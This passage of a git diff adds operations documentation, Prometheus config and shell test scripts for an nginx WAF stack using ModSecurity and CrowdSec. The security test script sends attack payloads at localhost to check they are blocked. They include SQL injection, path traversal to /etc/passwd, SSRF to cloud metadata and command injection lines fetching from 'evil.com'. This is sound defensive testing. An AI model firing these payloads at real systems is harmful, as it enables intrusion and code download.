`make test` | Run all tests (security + false positives) | +| `make test-security` | Run security tests only | +| `make test-false-pos` | Run false positive tests only | + +## Logs + +| Command | Description | +|---------|-------------| +| `make logs` | View nginx-waf logs (follow mode) | +| `make logs-audit` | View ModSecurity audit logs (JSON) | +| `docker-compose logs -f crowdsec` | View CrowdSec logs | +| `docker-compose logs -f nginx-exporter` | View exporter logs | + +### Manual Log Commands + +```bash +# View last 100 lines of access log +docker exec nginx-waf tail -100 /var/log/nginx/access.log + +# View last 100 lines of error log +docker exec nginx-waf tail -100 /var/log/nginx/error.log + +# View blocked requests (403) +docker exec nginx-waf grep " 403 " /var/log/nginx/access.log | tail -50 + +# View ModSecurity blocks with rule IDs +docker exec nginx-waf tail -100 /var/log/modsecurity/audit.log | jq -r '.transaction.messages[]?.message' +``` + +## CrowdSec Ban Management + +| Command | Description | +|---------|-------------| +| `make bans` | List all current bans | +| `make unban-all` | Remove all bans | + +### Manual CrowdSec Commands + +```bash +# List bans +docker exec crowdsec cscli decisions list + +# Unban specific IP +docker exec crowdsec cscli decisions delete --ip 1.2.3.4 + +# Unban by decision ID +docker exec crowdsec cscli decisions delete --id 12345 + +# View alerts +docker exec crowdsec cscli alerts list + +# View installed collections +docker exec crowdsec cscli collections list + +# View bouncers +docker exec crowdsec cscli bouncers list +``` + +## Configuration Updates + +### ModSecurity Rules + +```bash +# Edit custom rules +vim config/modsecurity/custom-rules.conf + +# Edit exclusions +vim config/modsecurity/exclusions.conf + +# Restart to apply +docker-compose restart nginx-waf +``` + +### Nginx Configuration + +```bash +# Edit nginx config +vim config/nginx/default.conf.template + +# Validate config before restart +docker exec nginx-waf nginx -t + +# Restart to apply +docker-compose restart nginx-waf +``` + +### Environment Variables + +```bash +# Edit environment +vim .env + +# Restart affected services +docker-compose restart nginx-waf crowdsec +``` + +## Health Checks + +```bash +# Check nginx-waf health +curl -s http://localhost:8080/healthz + +# Check nginx-exporter metrics +curl -s http://localhost:9113/metrics | head -20 + +# Check CrowdSec metrics +curl -s http://localhost:6060/metrics | head -20 + +# Check stub_status +curl -s http://localhost:8080/stub_status +``` + +## Debugging + +### Test Specific Attack Pattern + +```bash +# SQL Injection +curl "http://localhost:8080/?id=1' OR '1'='1" + +# XSS +curl "http://localhost:8080/?q=" + +# SSRF +curl "http://localhost:8080/?url=http://169.254.169.254/latest/meta-data" + +# Path Traversal +curl "http://localhost:8080/?file=../../../etc/passwd" +``` + +### Check Resource Usage + +```bash +# View container stats +docker stats --no-stream + +# View specific container +docker stats nginx-waf --no-stream +``` + +## Ports Reference + +| Service | Port | Purpose | +|---------|------|---------| +| nginx-waf | 8080 | HTTP traffic | +| nginx-waf | 8443 | HTTPS traffic | +| nginx-exporter | 9113 | Prometheus metrics | +| crowdsec | 6060 | Metrics | +| loki | 3100 | Log aggregation | +| grafana | 3000 | Visualization | + +## File Locations + +| File | Purpose | +|------|---------| +| `config/nginx/default.conf.template` | Nginx configuration | +| `config/modsecurity/custom-rules.conf` | Custom WAF rules | +| `config/modsecurity/exclusions.conf` | Rule exclusions | +| `config/crowdsec/` | CrowdSec configuration | +| `logs/nginx/` | Nginx logs | +| `logs/modsecurity/` | ModSecurity audit logs | +| `.env` | Environment variables | diff --git a/monitoring/prometheus-scrape-config.yml b/monitoring/prometheus-scrape-config.yml new file mode 100644 index 0000000..b512224 --- /dev/null +++ b/monitoring/prometheus-scrape-config.yml @@ -0,0 +1,95 @@ +# Prometheus Scrape Configuration for Nginx Security Stack +# Add these jobs to your Prometheus prometheus.yml scrape_configs section + +# =========================================== +# Copy this configuration to your Prometheus +# =========================================== + +scrape_configs: + # ------------------------------------------- + # Nginx WAF Metrics (via nginx-exporter) + # ------------------------------------------- + - job_name: 'nginx-waf' + static_configs: + - targets: [':9113'] + labels: + service: 'nginx-waf' + environment: 'production' + metrics_path: /metrics + scrape_interval: 15s + scrape_timeout: 10s + + # Optional: relabel configs for consistent labeling + relabel_configs: + - source_labels: [__address__] + target_label: instance + regex: '([^:]+):\d+' + replacement: '${1}' + + # ------------------------------------------- + # CrowdSec Metrics + # ------------------------------------------- + - job_name: 'crowdsec' + static_configs: + - targets: [':6060'] + labels: + service: 'crowdsec' + environment: 'production' + metrics_path: /metrics + scrape_interval: 30s + scrape_timeout: 10s + + relabel_configs: + - source_labels: [__address__] + target_label: instance + regex: '([^:]+):\d+' + replacement: '${1}' + +# =========================================== +# Key Metrics Reference +# =========================================== +# +# NGINX EXPORTER (port 9113): +# --------------------------- +# nginx_connections_active - Current active connections +# nginx_connections_accepted - Total accepted connections +# nginx_connections_handled - Total handled connections +# nginx_connections_reading - Connections reading request +# nginx_connections_writing - Connections writing response +# nginx_connections_waiting - Idle connections +# nginx_http_requests_total - Total HTTP requests +# nginx_up - Nginx status (1 = up, 0 = down) +# +# CROWDSEC (port 6060): +# --------------------- +# cs_active_decisions{action,origin,reason} - Active ban/captcha decisions +# cs_alerts_total - Total alerts triggered +# cs_parsers_hits_total - Log lines parsed +# cs_parsers_hits_ok_total - Successfully parsed lines +# cs_bucket_created_total - Scenario buckets created +# cs_bucket_overflowed_total - Scenarios triggered (attacks) +# cs_lapi_decisions_total - Decisions from LAPI +# cs_lapi_machine_last_push - Last push timestamp +# cs_lapi_route_requests_total - API requests by route +# +# =========================================== +# Example Queries for Grafana +# =========================================== +# +# Request rate: +# rate(nginx_http_requests_total[5m]) +# +# Active connections: +# nginx_connections_active +# +# Connection utilization: +# nginx_connections_active / nginx_connections_accepted +# +# CrowdSec active bans: +# cs_active_decisions{action="ban"} +# +# Attack rate (scenarios triggered): +# rate(cs_bucket_overflowed_total[5m]) +# +# Parser efficiency: +# rate(cs_parsers_hits_ok_total[5m]) / rate(cs_parsers_hits_total[5m]) diff --git a/scripts/test-false-positives.sh b/scripts/test-false-positives.sh new file mode 100755 index 0000000..de4b87a --- /dev/null +++ b/scripts/test-false-positives.sh @@ -0,0 +1,122 @@ +#!/bin/bash + +# =========================================== +# Nginx Security Stack - False Positive Tests +# =========================================== +# Tests that legitimate requests are NOT blocked + +# Colors for output +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +NC='\033[0m' # No Color + +# Configuration +HOST="${1:-localhost:8080}" +PROTOCOL="${2:-http}" +BASE_URL="${PROTOCOL}://${HOST}" + +echo "===== NGINX SECURITY STACK - FALSE POSITIVE TESTS =====" +echo "" +echo "Target: ${BASE_URL}" +echo "Date: $(date)" +echo "" +echo "These tests verify that legitimate requests are NOT blocked." +echo "" + +PASSED=0 +FAILED=0 + +# Helper function to test with URL-encoded payload +test_pass() { + local name="$1" + local path="$2" + local param="$3" + local value="$4" + local method="${5:-GET}" + local data="${6:-}" + + if [ -n "$param" ]; then + # Use -G and --data-urlencode for proper URL encoding + RESULT=$(curl -s -o /dev/null -w "%{http_code}" -G --data-urlencode "${param}=${value}" "${BASE_URL}${path}" -k 2>/dev/null) + elif [ "$method" == "POST" ] && [ -n "$data" ]; then + RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${BASE_URL}${path}" -d "$data" -H "Content-Type: application/json" -k 2>/dev/null) + else + RESULT=$(curl -s -o /dev/null -w "%{http_code}" "${BASE_URL}${path}" -k 2>/dev/null) + fi + + # Should NOT be 403 (blocked by WAF) + if [ "$RESULT" != "403" ]; then + echo -e "${GREEN}[PASS]${NC} $name - Got $RESULT (not blocked)" + ((PASSED++)) + else + echo -e "${RED}[FAIL]${NC} $name - Got 403 (FALSE POSITIVE!)" + ((FAILED++)) + fi +} + +echo "--- 1. Phone Numbers with Parentheses ---" +test_pass "US phone format" "/api/users" "phone" "(123)456-7890" +test_pass "International format" "/api/users" "phone" "+1(555)123-4567" +test_pass "Indian format" "/api/users" "phone" "(91)9876543210" +echo "" + +echo "--- 2. Wildcard Search Queries ---" +test_pass "Wildcard search (*)" "/api/search" "q" "test*" +test_pass "Wildcard in middle" "/api/search" "q" "user*name" +test_pass "Multiple wildcards" "/api/search" "q" "*admin*" +echo "" + +echo "--- 3. Mathematical Expressions ---" +test_pass "Multiplication" "/api/calc" "expr" "2*3" +test_pass "Parentheses" "/api/calc" "expr" "2*(3+4)" +test_pass "Complex expression" "/api/calc" "expr" "(10+5)*2" +echo "" + +echo "--- 4. URLs with Query Parameters ---" +test_pass "Redirect URL" "/api/redirect" "url" "https://example.com?foo=bar" +test_pass "Callback URL" "/api/callback" "return_url" "https://app.com/done?status=success" +echo "" + +echo "--- 5. JSON Payloads ---" +test_pass "Simple JSON" "/api/data" "" "" "POST" '{"name":"John","age":30}' +test_pass "Nested JSON" "/api/data" "" "" "POST" '{"user":{"name":"John","email":"john@example.com"}}' +test_pass "Array in JSON" "/api/data" "" "" "POST" '{"items":[1,2,3],"tags":["a","b"]}' +echo "" + +echo "--- 6. Base64 Data ---" +test_pass "Base64 string" "/api/decode" "data" "SGVsbG8gV29ybGQ=" +test_pass "Base64 with padding" "/api/decode" "data" "dGVzdA==" +echo "" + +echo "--- 7. GraphQL Queries ---" +test_pass "GraphQL query" "/graphql" "" "" "POST" '{"query":"query { users { id name } }"}' +test_pass "GraphQL mutation" "/graphql" "" "" "POST" '{"query":"mutation { createUser(name: \"John\") { id } }"}' +echo "" + +echo "--- 8. Common API Patterns ---" +test_pass "Pagination" "/api/items" "page" "1" +test_pass "Filtering" "/api/items" "status" "active" +test_pass "Date range" "/api/reports" "from" "2024-01-01" +echo "" + +echo "--- 9. Special Characters in Names ---" +test_pass "Irish name (O'Brien)" "/api/users" "name" "O'Brien" +test_pass "Hyphenated name" "/api/users" "name" "Mary-Jane" +echo "" + +echo "===== TEST SUMMARY =====" +echo -e "Passed: ${GREEN}$PASSED${NC}" +echo -e "Failed: ${RED}$FAILED${NC}" +echo "" + +if [ "$FAILED" -gt 0 ]; then + echo -e "${RED}Some legitimate requests were blocked (FALSE POSITIVES)!${NC}" + echo "" + echo "To fix false positives, check ModSecurity audit log:" + echo " docker exec nginx-waf cat /var/log/modsecurity/audit.log | jq '.transaction.messages'" + exit 1 +else + echo -e "${GREEN}No false positives detected!${NC}" + exit 0 +fi diff --git a/scripts/test-security.sh b/scripts/test-security.sh new file mode 100755 index 0000000..a22afba --- /dev/null +++ b/scripts/test-security.sh @@ -0,0 +1,211 @@ +#!/bin/bash + +# =========================================== +# Nginx Security Stack - Security Tests +# =========================================== +# Tests that attacks are properly blocked + +# Colors for output +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +NC='\033[0m' # No Color + +# Configuration +HOST="${1:-localhost:8080}" +PROTOCOL="${2:-http}" +BASE_URL="${PROTOCOL}://${HOST}" + +echo "===== NGINX SECURITY STACK - SECURITY TESTS =====" +echo "" +echo "Target: ${BASE_URL}" +echo "Date: $(date)" +echo "" + +PASSED=0 +FAILED=0 +WARNINGS=0 + +# Helper function to test with URL-encoded payload +test_block() { + local name="$1" + local path="$2" + local param="$3" + local value="$4" + local expected="$5" + local method="${6:-GET}" + + if [ -n "$param" ]; then + # Use -G and --data-urlencode for proper URL encoding + if [ "$method" == "POST" ]; then + RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST -G --data-urlencode "${param}=${value}" "${BASE_URL}${path}" -k 2>/dev/null) + else + RESULT=$(curl -s -o /dev/null -w "%{http_code}" -G --data-urlencode "${param}=${value}" "${BASE_URL}${path}" -k 2>/dev/null) + fi + else + # Direct URL request (for path-based tests) + if [ "$method" == "POST" ]; then + RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${BASE_URL}${path}" -k 2>/dev/null) + else + RESULT=$(curl -s -o /dev/null -w "%{http_code}" "${BASE_URL}${path}" -k 2>/dev/null) + fi + fi + + if [[ "$expected" == *"$RESULT"* ]]; then + echo -e "${GREEN}[PASS]${NC} $name - Got $RESULT" + ((PASSED++)) + else + echo -e "${RED}[FAIL]${NC} $name - Got $RESULT (expected: $expected)" + ((FAILED++)) + fi +} + +echo "--- 1. SQL Injection Tests ---" +test_block "SQL Injection (OR)" "/" "id" "1' OR '1'='1" "403" +test_block "SQL Injection (UNION)" "/" "id" "1 UNION SELECT * FROM users" "403" +test_block "SQL Injection (DROP)" "/" "q" "'; DROP TABLE users;--" "403" +test_block "SQL Injection (INSERT)" "/" "data" "'; INSERT INTO users VALUES(1,'admin');--" "403" +echo "" + +echo "--- 2. XSS Tests ---" +test_block "XSS (script tag)" "/" "q" "" "403" +test_block "XSS (javascript:)" "/" "url" "javascript:alert(1)" "403" +test_block "XSS (onerror)" "/" "img" "" "403" +test_block "XSS (onclick)" "/" "a" "" "403" +echo "" + +echo "--- 3. Command Injection Tests ---" +test_block "Command Injection (;cat)" "/" "cmd" ";cat /etc/passwd" "403" +test_block "Command Injection (|)" "/" "cmd" "|ls -la" "403" +test_block "Command Injection (wget)" "/" "cmd" "wget http://evil.com/shell.sh" "403" +test_block "Command Injection (curl)" "/" "cmd" "curl http://evil.com/backdoor" "403" +echo "" + +echo "--- 4. Path Traversal Tests ---" +test_block "Path Traversal (URL encoded)" "/%2e%2e/%2e%2e/%2e%2e/etc/passwd" "" "" "400|403|404" +test_block "Path Traversal (double encoded)" "/%252e%252e%252f" "" "" "400|403|404" +test_block "Path Traversal (param)" "/" "file" "../../../etc/passwd" "403" +echo "" + +echo "--- 5. Sensitive File Access Tests ---" +test_block "Hidden file (.env)" "/.env" "" "" "403|404" +test_block "Git directory" "/.git/config" "" "" "403|404" +test_block "Hidden file (.htaccess)" "/.htaccess" "" "" "403|404" +echo "" + +echo "--- 6. Null Byte Injection Test ---" +test_block "Null byte injection" "/file.txt%00.jpg" "" "" "400|403|404" +echo "" + +echo "--- 7. SSRF Tests ---" +test_block "SSRF (localhost)" "/" "url" "http://localhost/admin" "403" +test_block "SSRF (127.0.0.1)" "/" "callback" "http://127.0.0.1:22" "403" +test_block "SSRF (metadata AWS)" "/" "url" "http://169.254.169.254/latest/meta-data" "403" +test_block "SSRF (internal 10.x)" "/" "webhook" "http://10.0.0.1/internal" "403" +test_block "SSRF (internal 192.168.x)" "/" "api" "http://192.168.1.1:8080/admin" "403" +echo "" + +echo "--- 8. Scanner Detection Tests ---" +RESULT=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: sqlmap/1.0" "${BASE_URL}/" -k 2>/dev/null) +if [ "$RESULT" == "403" ]; then + echo -e "${GREEN}[PASS]${NC} Scanner detection (sqlmap) - Got $RESULT" + ((PASSED++)) +else + echo -e "${RED}[FAIL]${NC} Scanner detection (sqlmap) - Got $RESULT (expected: 403)" + ((FAILED++)) +fi + +RESULT=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: nikto" "${BASE_URL}/" -k 2>/dev/null) +if [ "$RESULT" == "403" ]; then + echo -e "${GREEN}[PASS]${NC} Scanner detection (nikto) - Got $RESULT" + ((PASSED++)) +else + echo -e "${RED}[FAIL]${NC} Scanner detection (nikto) - Got $RESULT (expected: 403)" + ((FAILED++)) +fi +echo "" + +echo "--- 9. Rate Limiting Tests ---" +echo "Testing rate limiting on /api/auth/verify-otp..." +echo -n "Requests: " +RATE_LIMITED=0 +for i in {1..6}; do + RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${BASE_URL}/api/auth/verify-otp" -k 2>/dev/null) + echo -n "$RESULT " + if [ "$RESULT" == "429" ]; then + RATE_LIMITED=1 + fi +done +echo "" +if [ "$RATE_LIMITED" == "1" ]; then + echo -e "${GREEN}[PASS]${NC} Rate limiting triggered (429 returned)" + ((PASSED++)) +else + echo -e "${YELLOW}[WARN]${NC} Rate limiting not configured (using default nginx config)" + ((WARNINGS++)) +fi +echo "" + +echo "--- 10. Security Headers Test ---" +echo "Checking security headers..." +HEADERS=$(curl -sI "${BASE_URL}/" -k 2>/dev/null) + +check_header() { + local header="$1" + if echo "$HEADERS" | grep -qi "$header"; then + echo -e "${GREEN}[PASS]${NC} $header header present" + ((PASSED++)) + else + echo -e "${YELLOW}[WARN]${NC} $header header missing" + ((WARNINGS++)) + fi +} + +check_header "X-Frame-Options" +check_header "X-Content-Type-Options" +echo "" + +echo "--- 11. Health Check Test ---" +RESULT=$(curl -s -o /dev/null -w "%{http_code}" "${BASE_URL}/healthz" -k 2>/dev/null) +if [ "$RESULT" == "200" ]; then + echo -e "${GREEN}[PASS]${NC} Health check returned 200" + ((PASSED++)) +else + echo -e "${YELLOW}[WARN]${NC} Health check returned $RESULT (endpoint may not exist)" + ((WARNINGS++)) +fi +echo "" + +echo "--- 12. Metrics Endpoints ---" +NGINX_METRICS=$(curl -s -o /dev/null -w "%{http_code}" "http://${HOST%:*}:9113/metrics" 2>/dev/null) +if [ "$NGINX_METRICS" == "200" ]; then + echo -e "${GREEN}[PASS]${NC} nginx-exporter metrics available (port 9113)" + ((PASSED++)) +else + echo -e "${YELLOW}[WARN]${NC} nginx-exporter not available" + ((WARNINGS++)) +fi + +CROWDSEC_METRICS=$(curl -s -o /dev/null -w "%{http_code}" "http://${HOST%:*}:6060/metrics" 2>/dev/null) +if [ "$CROWDSEC_METRICS" == "200" ]; then + echo -e "${GREEN}[PASS]${NC} CrowdSec metrics available (port 6060)" + ((PASSED++)) +else + echo -e "${YELLOW}[WARN]${NC} CrowdSec metrics not available" + ((WARNINGS++)) +fi +echo "" + +echo "===== TEST SUMMARY =====" +echo -e "Passed: ${GREEN}$PASSED${NC}" +echo -e "Failed: ${RED}$FAILED${NC}" +echo -e "Warnings: ${YELLOW}$WARNINGS${NC}" +echo "" + +if [ "$FAILED" -gt 0 ]; then + echo -e "${RED}Some security tests failed! Review the results above.${NC}" + exit 1 +else + echo -e "${GREEN}All security tests passed!${NC}" + exit 0 +fi